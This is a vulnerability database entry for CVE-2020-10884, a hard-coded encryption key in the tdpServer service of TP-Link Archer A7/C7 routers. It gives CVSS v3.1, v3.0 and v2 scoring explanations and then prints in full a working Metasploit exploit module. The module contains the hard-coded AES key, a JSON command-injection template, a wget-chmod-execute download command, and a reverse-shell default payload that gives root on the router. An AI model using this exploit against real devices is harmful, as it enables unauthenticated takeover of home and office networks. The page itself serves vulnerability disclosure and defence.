CVE-2020-10884 : Detail

CVE-2020-10884

8.8
/
High
A02-Cryptographic FailuresA07-Identif. and Authent. Fail
0.25%V3
Adjacent
2020-03-25
18h15 +00:00
2020-04-15
18h06 +00:00
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CVE Descriptions

This vulnerability allows network-adjacent attackers execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. This issue results from the use of hard-coded encryption key. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-9652.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-321 Use of Hard-coded Cryptographic Key
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
CWE-798 Use of Hard-coded Credentials
The product contains hard-coded credentials, such as a password or cryptographic key.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V3.0 8.1 HIGH CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

A vulnerability exploitable with adjacent network access means the vulnerable component is bound to the network stack, however the attack is limited to the same shared physical (e.g. Bluetooth, IEEE 802.11), or logical (e.g. local IP subnet) network, and cannot be performed across an OSI layer 3 boundary (e.g. a router).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 5.8 AV:A/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48331

Publication date : 2020-04-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski). }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'], [ 'CVE', '2020-10882'], [ 'CVE', '2020-10883'], [ 'CVE', '2020-10884'], [ 'ZDI', '20-334'], [ 'ZDI', '20-335'], [ 'ZDI', '20-336' ] ], 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'Payload' => {}, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp', 'WfsDelay' => 15, }, 'Targets' => [ [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ] ], 'DisclosureDate' => "Mar 25 2020", 'DefaultTarget' => 0, ) ) register_options( [ Opt::RPORT(20002) ]) register_advanced_options( [ OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15]) ]) end def check begin res = send_request_cgi({ 'uri' => '/webpages/app.1564127413977.manifest', 'method' => 'GET', 'rport' => 80 }) if res && res.code == 200 return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError pass end return Exploit::CheckCode::Unknown end def calc_checksum(packet) # reference table used to calculate the packet checksum # used by tdpd_pkt_calc_checksum (0x4037f0) # located at offset 0x0416e90 in the binary reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee, 0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4, 0x8f, 0xe9, 0x63, 0xa5, 0x35, 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0x77, 0xe1, 0x18, 0xb7, 0x47, 0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11, 0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff, 0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e, 0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16, 0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9, 0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae, 0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd, 0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3, 0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23, 0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b, 0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a, 0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d] res = 0xffffffff # main checksum calculation packet.each_entry { |c| index = ((c ^ res) & 0xff) * 4 # .reverse is needed as the target is big endian ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first) res = ref ^ (res >> 8) } checksum = ~res checksum_s = [(checksum)].pack('I>').force_encoding("ascii") # convert back to string packet = packet.pack('C*').force_encoding('ascii') # and replace the checksum packet[12] = checksum_s[0] packet[13] = checksum_s[1] packet[14] = checksum_s[2] packet[15] = checksum_s[3] packet end def aes_encrypt(plaintext) # Function encrypts perfectly 16 bytes aligned payload if (plaintext.length % 16 != 0) return end cipher = OpenSSL::Cipher.new 'AES-128-CBC' # in the original C code the key and IV are 256 bits long... but they still use AES-128 iv = "1234567890abcdef" key = "TPONEMESH_Kf!xn?" encrypted = '' cipher.encrypt cipher.iv = iv cipher.key = key # Take each 16 bytes block and encrypt it plaintext.scan(/.{1,16}/) { |block| encrypted += cipher.update(block) } encrypted end def create_injection(c) # Template for the command injection # The injection happens at "slave_mac" (read advisory for details) # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions. # This will fail if we send a command with single quotes (') # ... but that's not a problem for this module, since we don't use them for our command. # It might also fail with double quotes (") since this will break the JSON... inject = "\';printf \'#{c}\'>>#{@cmd_file}\'" template = "{\"method\":\"slave_key_offer\",\"data\":{"\ "\"group_id\":\"#{rand_text_numeric(1..3)}\","\ "\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\ "\"slave_mac\":\"%{INJECTION}\","\ "\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\ "\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\ "\"want_to_join\":false,"\ "\"model\":\"#{rand_text_alpha(5..13)}\","\ "\"product_type\":\"#{rand_text_alpha(5..13)}\","\ "\"operation_mode\":\"A%{PADDING}\"}}" # This is required to calculate exact template length without replace flags template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length # This has to be initialized to cover the situation when no padding is needed pad = '' padding = rand_text_alpha(16) template_len += inject.length # Calculate pad if padding is needed if (template_len % 16 != 0) pad = padding[0..15-(template_len % 16)] end # Here the final payload is created template % {INJECTION:"#{inject}", PADDING:"#{pad}"} end def update_len_field(packet, payload_length) new_packet = packet[0..3] new_packet += [payload_length].pack("S>") new_packet += packet[6..-1] end def exec_cmd_file(packet) # This function handles special action of exec # Returns new complete tpdp packet inject = "\';sh #{@cmd_file}\'" payload = create_injection(inject) ciphertext = aes_encrypt(payload) if not ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end new_packet = packet[0..15] new_packet += ciphertext new_packet = update_len_field(new_packet, ciphertext.length) calc_checksum(new_packet.bytes) end # Handle incoming requests from the router def on_request_uri(cli, request) print_good("#{peer} - Sending executable to the router") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload_exe) @payload_sent = true end def exploit if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") end if datastore['SSL'] fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it") end print_status("Attempting to exploit #{target.name}") tpdp_packet_template = [0x01].pack('C*') + # packet version, fixed to 1 [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh) [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table [0x00].pack('S>*') + # packet len [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function [0x00].pack('C*') + # dunno what this is [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value [0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder srv_host = datastore['SRVHOST'] srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe # Command that will download @payload_exe and execute it download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}" http_service = 'http://' + srv_host + ':' + srv_port.to_s print_status("Starting up our web service on #{http_service} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@cmd_file}" }}) print_status("#{peer} - Connecting to the target") connect_udp print_status("#{peer} - Sending command file byte by byte") print_status("#{peer} - Command: #{download_cmd}") mod = download_cmd.length / 5 download_cmd.each_char.with_index { |c, index| # Generate payload payload = create_injection(c) if not payload fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!") end # Encrypt payload ciphertext = aes_encrypt(payload) if not ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end tpdp_packet = tpdp_packet_template.dup tpdp_packet += ciphertext tpdp_packet = update_len_field(tpdp_packet, ciphertext.length) tpdp_packet = calc_checksum(tpdp_packet.bytes) udp_sock.put(tpdp_packet) # Sleep to make sure the payload is processed by a target Rex.sleep(1) # Print progress if ((index+1) % mod == 0) percentage = 20 * ((index+1) / mod) # very advanced mathemathics in use here to show the progress bar print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]") if percentage == 100 # a bit of cheating to get the last char done right index = -2 end #print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}") end } # Send the exec command. From here we should receive the connection print_status("#{peer} - Command file sent, attempting to execute...") tpdp_packet = exec_cmd_file(tpdp_packet_template.dup) udp_sock.put(tpdp_packet) timeout = 0 while not @payload_sent Rex.sleep(1) timeout += 1 if timeout == datastore['MAX_WAIT'].to_i fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(") end end disconnect_udp end end

Products Mentioned

Configuraton 0

Tp-link>>Ac1750_firmware >> Version 190726

Tp-link>>Ac1750 >> Version -

References